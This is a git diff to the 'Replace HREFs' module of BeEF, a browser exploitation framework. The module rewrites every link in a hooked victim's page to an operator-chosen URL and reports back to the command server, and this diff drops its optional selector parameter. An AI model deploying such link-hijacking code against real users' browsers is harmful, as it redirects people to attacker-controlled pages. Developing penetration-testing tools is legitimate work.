diff --git a/modules/browser/link_rewrite/command.js b/modules/browser/link_rewrite/command.js index a4c8aac51..abd6552e4 100644 --- a/modules/browser/link_rewrite/command.js +++ b/modules/browser/link_rewrite/command.js @@ -14,6 +14,6 @@ // limitations under the License. // beef.execute(function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>', '<%= @selector %>')+' links rewritten to <%= @url %>'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>'); }); diff --git a/modules/browser/link_rewrite/config.yaml b/modules/browser/link_rewrite/config.yaml index 993e28391..ea29fca7d 100644 --- a/modules/browser/link_rewrite/config.yaml +++ b/modules/browser/link_rewrite/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Browser" name: "Replace HREFs" - description: "This module will rewrite all the href attributes of all matched links.

The jQuery selector field can be used to limit the selection of links. eg: a[href=\"http://beefproject.com\"]. For more information please see: http://api.jquery.com/category/selectors/" + description: "This module will rewrite all the href attributes of all matched links." authors: ["passbe"] target: working: ["ALL"] diff --git a/modules/browser/link_rewrite/module.rb b/modules/browser/link_rewrite/module.rb index 087ca82bb..088062048 100644 --- a/modules/browser/link_rewrite/module.rb +++ b/modules/browser/link_rewrite/module.rb @@ -17,8 +17,7 @@ class Link_rewrite < BeEF::Core::Command def self.options return [ - { 'ui_label'=>'URL', 'name'=>'url', 'description' => 'Target URL', 'value'=>'http://beefproject.com/', 'width'=>'200px' }, - { 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'description' => 'Optional link selector other than all a* tags', 'value'=>'a', 'width'=>'200px' } + { 'ui_label'=>'URL', 'name'=>'url', 'description' => 'Target URL', 'value'=>'http://beefproject.com/', 'width'=>'200px' } ] end